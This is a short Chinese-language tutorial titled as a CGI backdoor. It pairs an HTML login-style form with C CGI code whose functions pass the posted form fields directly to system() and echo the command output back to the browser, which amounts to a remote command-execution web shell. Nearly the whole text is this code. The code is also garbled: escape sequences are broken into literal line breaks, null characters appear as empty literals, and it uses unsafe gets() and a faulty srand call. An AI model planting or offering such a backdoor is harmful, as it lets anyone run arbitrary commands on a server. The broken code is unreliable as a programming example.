服务器开发之CGI后门

1.html代码

<form id = "form" name="form" method="post" action="../cgi-bin/Hello.cgi">
<p></p>
<input type="text" name="cmd1" id="user" value= "用户名"/>
<p></p>
<input type="text" name="cmd2" id="pass" value= "密码"/>
<p></p>
<input type="submit" name="go" id= "Hello" value="进入">
</form>

2.C代码

#define  _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
//..上一层目录
//"cmd1=123&cmd2=456&go=%BD%F8%C8%EB"

void main123()
{
    printf("Content-type:text/html

");//换行
    char szpost[256] = { 0 };
    gets(szpost);
    printf("%s", szpost);

    char*p1 = strchr(szpost, '&');
    if (*p1 != NULL)
    {
        *p1 = '';
    }
    printf("<br>%s", szpost + 5);

    char *p2 = strchr(p1 + 1, '&');
    if (*p2!=NULL)
    {
        *p2 = '';
    }
    printf("<br>%s", p1+6);

    //system(szpost + 5);
    char cmd[256] = { 0 };
    time_t ts;
    unsigned data = time(&ts);
    srand(&ts);
    int num = rand();
    sprintf(cmd, "%s %s >%d.txt", szpost + 5, p1 + 6, num);
    char filename[100] = { 0 };
    sprintf(filename, "%d.txt", num);
    system(cmd);

    FILE *pf = fopen(filename, "r");
    while (!feof(pf))
    {
        char ch = fgetc(pf);
        if (ch == '
')
        {
            printf("<br>");
        }
        else
        {
            putchar(ch);
        }

    }
    fclose(pf);



}


void main3()
{
    printf("Content-type:text/html

");//换行
    char szpost[256] = { 0 };
    gets(szpost);
    printf("%s", szpost);

    char*p1 = strchr(szpost, '&');
    if (*p1!=NULL)
    {
        *p1 = '';
    }
    printf("<br>%s", szpost + 5);


    //system(szpost + 5);
    char cmd[256] = { 0 };
    time_t ts;
    unsigned data = time(&ts);
    srand(&ts);
    int num = rand();
    sprintf(cmd, "%s >%d.txt", szpost + 5,num);
    char filename[100] = { 0 };
    sprintf(filename,"%d.txt", num);
    system(cmd);

    FILE *pf = fopen(filename, "r");
    while (!feof(pf))
    {
        char ch = fgetc(pf);
        if (ch=='
')
        {
            printf("<br>");
        } 
        else
        {
            putchar(ch);
        }

    }
    fclose(pf);



}




void main2()
{
    printf("Content-type:text/html

");//换行
    char szpost[256] = { 0 };
    gets(szpost);
    printf("%s", szpost);




}




//重定向输出
//输入
void main()
{
    printf("Content-type:text/html

");//换行
    for (int i = 0; i < 100; i++)
    {
        //printf("锄禾日当午
");
        printf("锄禾日当午<br>");
    }
    



}